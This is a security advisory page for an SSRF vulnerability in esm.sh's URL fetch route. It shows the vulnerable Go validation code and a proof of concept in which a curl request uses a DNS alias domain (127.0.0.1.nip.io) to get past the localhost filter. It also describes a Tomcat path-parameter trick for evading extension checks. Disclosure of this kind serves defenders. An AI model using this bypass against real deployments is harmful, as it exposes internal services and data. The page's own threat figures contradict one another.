Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-p2v6-84h2-5x4r

HighCVSS 8.6 / 10
Published Feb 25, 2026·Last modified Mar 9, 2026
Affected Components(0)

No affected components available

Description

Summary

An SSRF vulnerability (CWE-918) exists in esm.sh’s /http(s) fetch route.
The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, 127.0.0.1.nip.io resolving to 127.0.0.1).
This allows an external requester to make the esm.sh server fetch internal localhost services.
Severity: High (depending on deployment network exposure).

Details

The vulnerable flow starts at the route handling user-controlled remote URLs:

  • server/router.go:532
    • Accepts paths beginning with /http:// or /https://.
if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") {
   query := ctx.Query()
   modUrl, err := url.Parse(pathname[1:])
   if err != nil {
   	ctx.SetHeader("Cache-Control", ccImmutable)
   	return rex.Status(400, "Invalid URL")
   }
   if modUrl.Scheme != "http" && modUrl.Scheme != "https" {
   	ctx.SetHeader("Cache-Control", ccImmutable)
   	return rex.Status(400, "Invalid URL")
   }
   modUrlStr := modUrl.String()

   // disallow localhost or ip address for production
   if !DEBUG {
   	hostname := modUrl.Hostname()
   	if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {
   		ctx.SetHeader("Cache-Control", ccImmutable)
   		return rex.Status(400, "Invalid URL")
   	}
   }

The internal-target block is string-based:

  • server/router.go:545
   		// disallow localhost or ip address for production
   		if !DEBUG {
   			hostname := modUrl.Hostname()
   			if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {
   				ctx.SetHeader("Cache-Control", ccImmutable)
   				return rex.Status(400, "Invalid URL")
   			}
   		}

Localhost detection itself is limited to hostname patterns:

  • server/utils.go:72
    • isLocalhost(...) checks values like localhost, 127.0.0.1, and 192.168.*.
    • It does not validate the resolved destination IP after DNS resolution.
func isLocalhost(hostname string) bool {
	return hostname == "localhost" || strings.HasSuffix(hostname, ".localhost") || hostname == "127.0.0.1" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, "192.168."))
}

Fetch proceeds with host-string allowlisting:

  • server/router.go:595-596
    • allowedHosts[modUrl.Host] = struct{}{} then fetch.NewClient(...allowedHosts)
allowedHosts := map[string]struct{}{}
allowedHosts[modUrl.Host] = struct{}{}
fetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)
defer recycle()
  • internal/fetch/fetch.go:49
    • Host allowlist compares host strings, not resolved IP class.
func (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {
	if c.allowedHosts != nil {
		if _, ok := c.allowedHosts[url.Host]; !ok {
			return nil, errors.New("host not allowed: " + url.Host)
		}
	}
	if c.userAgent != "" {
		if header == nil {
			header = make(http.Header)
		}
		header.Set("User-Agent", c.userAgent)
	}
	// ...
	return c.Do(req)
}

Because validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.

PoC

Reproduction tested on local Docker deployment.

  1. Run esm.sh:
docker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest
  1. Run an internal localhost-only test service (secret response) in the same network namespace:
  • Internal network test server code (app.py):
from flask import Flask, Response

@app.get('/secret.js')
def secret_js():
    return Response('secret;\n', mimetype='application/javascript')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5555)

Run the internal Python server container (same network namespace as esmsh-5558):

docker run -d --name internal-5555 --network container:esmsh-5558 \
  -v "<YOUR_PATH>/flask-internal:/app" -w /app \
  python:3.11-alpine sh -lc "pip install --no-cache-dir flask && python app.py"

Since this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.

  1. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.
cloudflared tunnel --url http://127.0.0.1:5558
  1. Trigger SSRF from outside via esm.sh endpoint:
curl -i "https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js"

127.0.0.1 is blocked, <img width="1206" height="322" alt="image" src="https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b" />

but 127.0.0.1.nip.io bypasses the filter. <img width="1210" height="336" alt="image" src="https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff" />

This confirms external requesters can fetch internal localhost service content through esm.sh.

Impact

This is a Server-Side Request Forgery vulnerability (CWE-918).

Impacted:

  • Any esm.sh deployment exposing the /http(s) route to untrusted users.
  • Environments where internal services are reachable from the esm.sh server/container network.

Potential consequences:

  • Access to localhost/internal HTTP services not intended for public access.
  • Internal service discovery/probing through the server.
  • Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs).
  • The exploit surface is extension-limited in this route (e.g., ".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"), so it is not a universal arbitrary-file fetch primitive.
  • Even with that limitation, attackers can still verify whether internal HTTP services exist and retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.
  • If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, it could be possible to bypass extension checks while still receiving the response from the intended path.
Risk Scores
Base Score
8.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.

Threat Intelligence
7.9

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.34%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard